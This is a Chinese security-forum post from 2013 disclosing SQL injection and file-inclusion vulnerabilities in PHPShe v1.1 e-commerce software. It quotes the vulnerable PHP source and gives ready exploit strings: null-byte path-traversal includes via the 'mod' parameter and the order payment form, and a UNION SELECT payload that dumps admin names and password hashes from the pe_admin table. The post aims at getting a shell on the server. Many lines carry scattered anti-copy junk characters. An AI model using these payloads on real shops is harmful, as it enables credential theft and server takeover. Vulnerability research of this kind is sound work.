找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2576|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
; I2 h* w' H9 ~: k% N/* Phpshe v1.1 Vulnerability
4 Y8 R% O  E1 J2 K) d% ~, i7 B/* ========================7 K4 D7 N' H$ I0 {3 o- o( H
/* By: : Kn1f3
$ g! {* w; K* K0 D9 s3 L, [+ q/* E-Mail : 681796@qq.com2 p3 O1 R8 e7 j0 a5 h9 W; |
/*******************************************************/" U2 g! k- t& B; ~( u
0×00 整体大概参数传输
. j0 S7 A& G  z2 ^& g2 x, L, {6 n
. q+ F$ U4 g9 C- A: a6 b$ _: f! u6 a5 z' Q

3 x5 V: K* B# ?5 `/ ]7 v' A//common.php' ~" H6 L: R2 [$ n/ P
if (get_magic_quotes_gpc()) {
# E" |6 ^- j+ r* u) V& s6 p!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
: Z1 E, j0 n, g' u9 `0 u6 h$ R) y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');/ U9 {+ v6 h& L* |9 M5 z3 ?, h
}
. u! M8 e+ Z* U% e. xelse {7 ?# U+ L( k; a
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');2 s$ X9 B7 k, d/ O3 F, I3 P' }9 \
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');3 V) O$ L/ a8 H7 E/ F
}* T( {! x  ^; M# k1 y
session_start();- E/ r+ U8 Z1 `1 o9 \
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
* ~, L" I' E. Y/ }" R7 S( }& D!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
- p1 Z' Y9 o0 I8 E: m% ]  h6 T4 w
% `! _+ _1 B6 E9 J) f3 x0×01 包含漏洞& _1 G: N: {8 I) y# Q

# Q% Y3 Y2 `/ W: M! Z  L

/ }- Y- W% J; f. \- l% Y0 m$ B. p//首页文件9 j, W* r" S; B* Z0 Y
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);; m' Z7 P9 S/ H
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
  |, n: s$ g" fpe_result();$ n4 r9 v; _" N, `. C
?>
' m/ J4 X3 h0 f//common 文件 第15行开始
2 Z* U/ n2 J5 r; Y! J7 O5 A5 murl路由配置
! H4 R' g' D. e1 [7 Y$module = $mod = $act = 'index';3 ^/ U0 n  {0 M- H  t+ W3 f, f/ V
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
" ]6 F" i# L- c* ?8 ~" a$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);8 }! `' H" \) h0 |  s( U& ?
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
# [+ @: e0 f# J; W//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
. m8 [8 O* X6 V+ w" f/ J5 x  C1 V


1 m# U& b, N0 M; i: G9 w8 m* P* J9 q
% @0 D" d2 U8 f2 J; [+ g3 c 0×02 搜索注入0 O# W3 {* k( I& y& t0 T4 l
2 c; s6 H% Q4 s9 b6 @  E
<code id="code2">

//product.php文件( `+ e' _% b7 t1 C1 ^9 @
case 'list':. g% o) y& }1 @0 u3 F& I
$category_id = intval($id);* h( ?# O! D) Q
$info = $db->pe_select('category', array('category_id'=>$category_id));
; x* n  @! U. z* M  L//搜索
* X9 n5 `  J! n# ]$sqlwhere = " and `product_state` = 1";
0 F8 D3 h# S/ U; E- L. Z% Z+ Ype_lead('hook/category.hook.php');& o( `( Z7 h, E$ i$ X" F# ?2 Q1 L
if ($category_id) {7 A& r; _9 t. v# g5 N$ N
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 |& ?0 W4 e  P9 s}
% {# ]) v: J; g0 }5 Y6 P$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤; a3 x% r' k3 ^) l1 J# m1 P5 y
if ($_g_orderby) {
9 R; [/ ?+ c1 C7 N3 j; P4 v6 p$orderby = explode('_', $_g_orderby);
- H) [; U  I; X$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! b6 Y$ S1 @  m}6 R  Y9 @  `5 m' C
else {
6 X  K4 P1 u0 P( D; r# u, Z) ]$sqlwhere .= " order by `product_id` desc";1 n& u1 z; D; X, G
}
+ V1 R4 }+ \- e* a' C- t& G! g3 J$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
6 q+ k0 A( Z2 M7 k5 `! M, b' N//热卖排行
7 [! l$ Z7 P  A/ L$product_hotlist = product_hotlist();
1 }" ^% v- m' K) N( d//当前路径
( t: e8 d$ Z3 b4 I( y$ M$nowpath = category_path($category_id);! E; n( a  c) L" K3 B3 |/ u
$seo = pe_seo($info['category_name']);
1 f8 C1 M3 K7 c: s1 E0 Z* v2 W! y3 qinclude(pe_tpl('product_list.html'));; L' ~5 A  e6 q# {2 ~: }
//跟进selectall函数库( J4 I/ r' k$ b; [) ^0 J# K/ t
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
/ I" U8 z8 s6 k{0 d" Z0 i4 X, R, }$ @/ p2 ?
//处理条件语句$ Z+ B$ s" a4 j. n" U
$sqlwhere = $this->_dowhere($where);* |! T. h# b/ r% L" \3 ~
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);3 D. R, a. y- q. Y/ t/ n. [  w
}
: A! x+ Z" C/ S( L+ h8 ?0 U, }9 g//exp  e5 d2 V5 T& W# M
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
1 |. W% a- G2 _* ?3 g

</code>
. a( u7 @" C9 m; _0 {0 g# q
# x2 B. g. F  _, Z/ L: Z; g0×03 包含漏洞2/ b0 |1 z! c8 V' m7 i) J$ u8 R

) ~, m* `- h/ q9 \; z  J' v. Y<code id="code3">

//order.php

case 'pay':

; L5 k( N  C, u2 I; `5 G
$order_id = pe_dbhold($_g_id);

" B$ O( D0 w% `
$cache_payway = cache::get('payway');

- ?  t) |1 O2 E- b8 E
foreach($cache_payway as $k => $v) {


; K  C/ m+ e; Y* v7 a5 l+ z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

- g# x" y7 ?2 J0 u
if ($k == 'bank') {


+ W! s! [+ Q+ m, e5 G3 A+ D6 w$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

' ?$ n' Q% s# F) n3 y/ }8 W
}


! y2 f. Y8 @. |; U}


) J/ z( Z) S7 g% Z' ?7 m$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

7 f1 q9 T( Q3 w/ x) g
!$order['order_id'] && pe_error('订单号错误...');

, J+ H3 n( u3 v* `9 _. a
if (isset($_p_pesubmit)) {

2 v8 C0 p- `3 \+ Y0 p% k
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


! G* ]# v1 {6 n$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

2 J, X; d2 o& U
foreach ($info_list as $v) {


! \4 U! G6 o- F  }$order['order_name'] .= "{$v['product_name']};";
. j; c, E* u! x' m


( z3 f6 J9 `# G8 {}


( H; ~7 ]( H/ ~1 [$ xecho '正在为您连接支付网站,请稍后...';

9 ^  g+ g; J! [( L8 v; ]
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" B6 Z8 ^1 z( Q# t, Q
}//当一切准备好的时候就可以进行"鸡肋包含了"


' B3 N1 Q: a0 |) Q8 E3 oelse {

% N( g# a& S3 b7 s; o
pe_error('支付错误...');


3 D: f+ A; j! _}


2 M' Q" U% o; x/ g6 p4 ]4 e# v}


% E! v" _  s% w, N6 A, k' R8 }$seo = pe_seo('选择支付方式');


+ M+ |& b9 A* N2 O. \" ~+ xinclude(pe_tpl('order_pay.html'));


8 k1 b" V( Z8 B) P0 ?! k8 jbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>  K% g/ j3 p5 Y

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表